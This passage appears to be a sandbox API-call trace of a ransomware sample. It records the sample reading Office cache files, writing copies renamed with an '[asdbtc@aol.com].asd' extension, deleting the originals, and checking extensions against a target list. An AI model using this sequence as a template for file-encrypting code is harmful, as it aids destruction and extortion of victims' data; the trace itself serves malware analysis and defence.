(lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.447] lstrlenW (lpString=".dbf") returned 4 [0055.447] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.447] lstrlenW (lpString=".1cd") returned 4 [0055.447] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.447] lstrlenW (lpString=".jpg") returned 4 [0055.447] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.448] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0055.448] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0055.448] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0055.448] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=868864) returned 1 [0055.448] CloseHandle (hObject=0x184) returned 1 [0055.448] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0055.449] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.449] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0055.449] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.449] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.449] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0055.449] GetLastError () returned 0x0 [0055.449] ReadFile (in: hFile=0x184, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0055.474] WriteFile (in: hFile=0x168, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0055.720] ReadFile (in: hFile=0x184, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.721] WriteFile (in: hFile=0x168, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0055.721] SetEndOfFile (hFile=0x168) returned 1 [0055.721] CloseHandle (hObject=0x168) returned 1 [0055.721] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.721] SetEndOfFile (hFile=0x184) returned 1 [0055.730] CloseHandle (hObject=0x184) returned 1 [0055.730] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0055.748] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0055.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.749] lstrlenW (lpString=".doc") returned 4 [0055.749] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.749] lstrlenW (lpString=".docx") returned 5 [0055.749] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0055.749] lstrlenW (lpString=".pdf") returned 4 [0055.749] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.749] lstrlenW (lpString=".xls") returned 4 [0055.749] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.749] lstrlenW (lpString=".xlsx") returned 5 [0055.749] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0055.749] lstrlenW (lpString=".ppt") returned 4 [0055.749] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.749] lstrlenW (lpString=".zip") returned 4 [0055.749] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.749] lstrlenW (lpString=".rar") returned 4 [0055.749] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.749] lstrlenW (lpString=".bz2") returned 4 [0055.749] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.749] lstrlenW (lpString=".7z") returned 3 [0055.749] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.749] lstrlenW (lpString=".dbf") returned 4 [0055.749] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.750] lstrlenW (lpString=".1cd") returned 4 [0055.750] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.750] lstrlenW (lpString=".jpg") returned 4 [0055.750] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.750] lstrlenW (lpString=".doc") returned 4 [0055.750] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.750] lstrlenW (lpString=".docx") returned 5 [0055.750] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0055.750] lstrlenW (lpString=".pdf") returned 4 [0055.750] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.750] lstrlenW (lpString=".xls") returned 4 [0055.750] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.750] lstrlenW (lpString=".xlsx") returned 5 [0055.750] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0055.750] lstrlenW (lpString=".ppt") returned 4 [0055.750] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.750] lstrlenW (lpString=".zip") returned 4 [0055.750] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.750] lstrlenW (lpString=".rar") returned 4 [0055.750] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.750] lstrlenW (lpString=".bz2") returned 4 [0055.750] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.750] lstrlenW (lpString=".7z") returned 3 [0055.750] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.750] lstrlenW (lpString=".dbf") returned 4 [0055.751] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.751] lstrlenW (lpString=".1cd") returned 4 [0055.751] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.751] lstrlenW (lpString=".jpg") returned 4 [0055.751] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.751] lstrcmpiW (lpString1=".exe", lpString2=".asd") returned 1 [0055.751] lstrlenW (lpString="ose.exe") returned 7 [0055.751] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0055.752] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=174440) returned 1 [0055.752] CloseHandle (hObject=0x184) returned 1 [0055.752] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0055.752] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.752] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0055.752] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.752] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.752] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0055.752] GetLastError () returned 0x0 [0055.753] ReadFile (in: hFile=0x184, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0055.758] WriteFile (in: hFile=0x168, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0055.761] ReadFile (in: hFile=0x184, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.761] WriteFile (in: hFile=0x168, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0055.761] SetEndOfFile (hFile=0x168) returned 1 [0055.761] CloseHandle (hObject=0x168) returned 1 [0055.762] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.762] SetEndOfFile (hFile=0x184) returned 1 [0056.083] CloseHandle (hObject=0x184) returned 1 [0056.083] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0056.083] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0056.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.083] lstrlenW (lpString=".doc") returned 4 [0056.083] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0056.083] lstrlenW (lpString=".docx") returned 5 [0056.083] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0056.083] lstrlenW (lpString=".pdf") returned 4 [0056.084] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0056.084] lstrlenW (lpString=".xls") returned 4 [0056.084] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0056.084] lstrlenW (lpString=".xlsx") returned 5 [0056.084] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0056.084] lstrlenW (lpString=".ppt") returned 4 [0056.084] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0056.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.084] lstrlenW (lpString=".zip") returned 4 [0056.084] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0056.084] lstrlenW (lpString=".rar") returned 4 [0056.084] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0056.084] lstrlenW (lpString=".bz2") returned 4 [0056.084] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0056.084] lstrlenW (lpString=".7z") returned 3 [0056.084] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0056.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.084] lstrlenW (lpString=".dbf") returned 4 [0056.084] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0056.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.084] lstrlenW (lpString=".1cd") returned 4 [0056.084] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0056.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.084] lstrlenW (lpString=".jpg") returned 4 [0056.084] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0056.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.084] lstrlenW (lpString=".doc") returned 4 [0056.084] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0056.084] lstrlenW (lpString=".docx") returned 5 [0056.084] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0056.084] lstrlenW (lpString=".pdf") returned 4 [0056.085] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0056.085] lstrlenW (lpString=".xls") returned 4 [0056.085] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0056.085] lstrlenW (lpString=".xlsx") returned 5 [0056.085] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0056.085] lstrlenW (lpString=".ppt") returned 4 [0056.085] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0056.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.085] lstrlenW (lpString=".zip") returned 4 [0056.085] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0056.085] lstrlenW (lpString=".rar") returned 4 [0056.085] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0056.085] lstrlenW (lpString=".bz2") returned 4 [0056.085] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0056.085] lstrlenW (lpString=".7z") returned 3 [0056.085] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0056.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.085] lstrlenW (lpString=".dbf") returned 4 [0056.085] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0056.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.085] lstrlenW (lpString=".1cd") returned 4 [0056.085] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0056.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.085] lstrlenW (lpString=".jpg") returned 4 [0056.085] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0056.085] lstrcmpiW (lpString1=".xrm-ms", lpString2=".asd") returned 1 [0056.086] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0056.086] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0056.086] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=715834) returned 1 [0056.086] CloseHandle (hObject=0x184) returned 1 [0056.086] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0056.086] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0056.086] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0056.086] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.086] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.087] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0056.087] GetLastError () returned 0x0 [0056.087] ReadFile (in: hFile=0x184, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0056.552] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0056.988] ReadFile (in: hFile=0x184, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.989] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0x104, lpOverlapped=0x0) returned 1 [0056.989] SetEndOfFile (hFile=0x1f0) returned 1 [0056.989] CloseHandle (hObject=0x1f0) returned 1 [0056.989] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.989] SetEndOfFile (hFile=0x184) returned 1 [0056.996] CloseHandle (hObject=0x184) returned 1 [0056.996] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0056.996] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0056.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.996] lstrlenW (lpString=".doc") returned 4 [0056.996] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0056.996] lstrlenW (lpString=".docx") returned 5 [0056.996] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0056.996] lstrlenW (lpString=".pdf") returned 4 [0056.996] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0056.996] lstrlenW (lpString=".xls") returned 4 [0056.996] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0056.996] lstrlenW (lpString=".xlsx") returned 5 [0056.996] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0056.996] lstrlenW (lpString=".ppt") returned 4 [0056.997] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0056.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.997] lstrlenW (lpString=".zip") returned 4 [0056.997] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0056.997] lstrlenW (lpString=".rar") returned 4 [0056.997] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0056.997] lstrlenW (lpString=".bz2") returned 4 [0056.997] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0056.997] lstrlenW (lpString=".7z") returned 3 [0056.997] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0056.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.997] lstrlenW (lpString=".dbf") returned 4 [0056.997] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0056.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.997] lstrlenW (lpString=".1cd") returned 4 [0056.997] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0056.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.997] lstrlenW (lpString=".jpg") returned 4 [0056.997] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0056.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.997] lstrlenW (lpString=".doc") returned 4 [0056.997] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0056.997] lstrlenW (lpString=".docx") returned 5 [0056.997] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0056.997] lstrlenW (lpString=".pdf") returned 4 [0056.997] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0056.997] lstrlenW (lpString=".xls") returned 4 [0056.998] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0056.998] lstrlenW (lpString=".xlsx") returned 5 [0056.998] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0056.998] lstrlenW (lpString=".ppt") returned 4 [0056.998] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0056.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 